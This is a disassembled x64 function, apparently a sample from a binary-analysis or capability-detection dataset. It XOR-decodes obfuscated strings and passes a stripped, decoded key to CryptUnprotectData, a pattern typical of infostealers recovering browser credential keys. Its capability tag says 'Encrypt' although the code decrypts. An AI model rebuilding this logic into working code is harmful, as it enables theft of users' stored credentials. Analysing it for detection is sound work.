Function at 0x140021b80
Capabilities:
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x108
mov rbx, rcx
movabs rbp, 0x8000000000000000
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call fcn.140004a74
lea rdi, [rsp + 0x48]
mov rcx, rdi
mov rdx, rsi
call fcn.140012543
mov rsi, qword [rdi]
cmp rsi, rbp
jne 0x140021bd0
mov qword [rbx], rbp
jmp 0x140021cb9
lea r14, [rsp + 0x48]
mov rdi, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rdx, [rsp + 0xb0]
mov qword [rdx + 0x18], rdi
mov qword [rdx + 0x20], rax
and qword [rdx + 0x28], 0
and qword [rdx], 0
mov qword [rdx + 8], 1
and qword [rdx + 0x10], 0
mov byte [rdx + 0x30], pe_nt_image_headers64
mov rcx, r14
call fcn.140076c22
cmp byte [r14], 6
jne 0x140021c1c
mov r14, qword [rsp + 0x50]
jmp 0x140021c63
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea r15, [rsp + 0x68]
lea rdx, [rsp + 0xb0]
mov rcx, r15
call fcn.1400763ee
cmp byte [r15], 0
je 0x140021cce
mov r14, qword [rsp + 0x70]
lea rcx, [rsp + 0x90]
call fcn.140074a00
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
call fcn.1400747f4
mov rax, qword [r14]
cmp rax, 1
je 0x140021c95
test rax, rax
jne 0x140021c9e
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
call fcn.1400aaf3d
jmp 0x140021c9e
lea rcx, [r14 + 8]
call fcn.140010b32
mov edx, 8
mov rcx, r14
call fcn.140029560
mov qword [rbx], rbp
mov rcx, rsi
mov rdx, rdi
call fcn.1400747f4
nop
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [rsp + 0x69], 0
jne 0x140021ff7
movzx r13d, byte [rsp + 0x90]
mov eax, dword [rsp + 0x91]
mov ecx, dword [rsp + 0x94]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x43], ecx
mov r14, qword [rsp + 0x98]
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0xf0], xmm0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
call fcn.1400747f4
cmp r13d, 6
je 0x140021c78
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0xb4], ecx
mov dword [rsp + 0xb1], eax
mov qword [rsp + 0xb8], r14
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], r13b
lea rax, [0x140172ae0]
lea rdx, [rsp + 0x48]
mov qword [rdx], rax
mov rcx, qword [rdx]
mov dword [rdx], 0x9d5624f3
lea rax, [rsp + 0x48]
mov edx, dword [rax]
call fcn.1400147e0
and qword [rsp + 0x88], 0
mov r9b, 1
xor ecx, ecx
lea rdx, [0x140175ee8]
movabs r8, 0xc5916ba33a340e00
test r9b, 1
je 0x140021dcc
movzx r9d, byte [rcx + rdx]
or r9, r8
xor r9, qword [rax + rcx]
mov qword [rsp + rcx + 0x88], r9
mov ecx, 8
xor r9d, r9d
jmp 0x140021da8
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x88]
mov r8d, 8
call fcn.14000188e
mov r12, rax
lea rax, [0x140176253]
lea rdx, [rsp + 0x48]
mov qword [rdx], rax
mov rcx, qword [rdx]
mov dword [rdx], 0x73c42108
lea rax, [rsp + 0x48]
mov edx, dword [rax]
call fcn.1400146c7
and qword [rsp + 0x78], 0
and dword [rsp + 0x80], 0
mov r9b, 1
xor edx, edx
lea rcx, [0x140175efd]
movabs r8, 0xa181ecb07cb5bf00
test r9b, 1
je 0x140021e53
movzx r9d, byte [rdx + rcx]
or r9, r8
xor r9, qword [rax + rdx]
mov qword [rsp + rdx + 0x78], r9
mov edx, 8
xor r9d, r9d
jmp 0x140021e32
mov edx, 8
cmp rdx, 0xb
ja 0x140021e86
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x1e000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x78], r8d
add rdx, 4
jmp 0x140021e58
mov al, byte [rax + 0xc]
xor al, 0x17
lea rdx, [rsp + 0x78]
mov byte [rdx + 0xc], al
mov r8d, 0xd
mov rcx, r12
call fcn.14000188e
cmp byte [rax], 3
jne 0x140021ec4
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
lea r12, [rsp + 0x48]
mov rcx, r12
call fcn.14001fabd
mov r12, qword [r12]
cmp r12, rbp
jne 0x140021ecc
mov qword [rbx], rbp
jmp 0x140021f9d
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0xe8], rcx
mov rdx, qword [rsp + 0x58]
lea r9, str.srccrypto.rse
mov r8d, 5
call fcn.140019bdc
mov r8, rdx
lea rcx, [rsp + 0x90]
mov rdx, rax
call fcn.14001277c
mov rcx, r12
mov rdx, qword [rsp + 0xe8]
call fcn.1400747f4
lea rax, [rsp + 0x90]
mov r12, qword [rax + 8]
mov eax, dword [rax + 0x10]
lea rcx, [rsp + 0xf0]
mov dword [rcx], eax
and dword [rsp + 0x68], 0
mov qword [rcx + 8], r12
and qword [rsp + 0x70], 0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.crypt32.dll_CryptUnprotectData
test eax, eax
je 0x140021f8a
mov rdx, qword [rsp + 0x70]
mov r8d, dword [rsp + 0x68]
lea r15, [rsp + 0x48]
mov rcx, r15
call fcn.14001277c
mov rax, qword [r15]
cmp rax, rbp
je 0x140021f8a
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbx + 8], xmm0
mov rbp, rax
mov qword [rbx], rbp
mov rcx, qword [rsp + 0x90]
mov rdx, r12
call fcn.1400747f4
cmp r13d, 3
jb 0x140021cae
je 0x140021fd0
cmp r13d, 4
jne 0x140021fe5
lea rbx, [rsp + 0xb8]
mov rcx, rbx
call fcn.140074bb6
mov rdx, qword [rbx + 8]
mov rcx, r14
call fcn.1400112d7
jmp 0x140021cae
mov rdx, qword [rsp + 0xc0]
mov rcx, r14
call fcn.1400747f4
jmp 0x140021cae
lea rcx, [rsp + 0xb8]
call fcn.140074a2d
jmp 0x140021cae
lea rdx, [rsp + 0x48]
mov qword [rdx], 0x16
lea rcx, [rsp + 0xb0]
call fcn.140076436
mov r14, rax
jmp 0x140021c56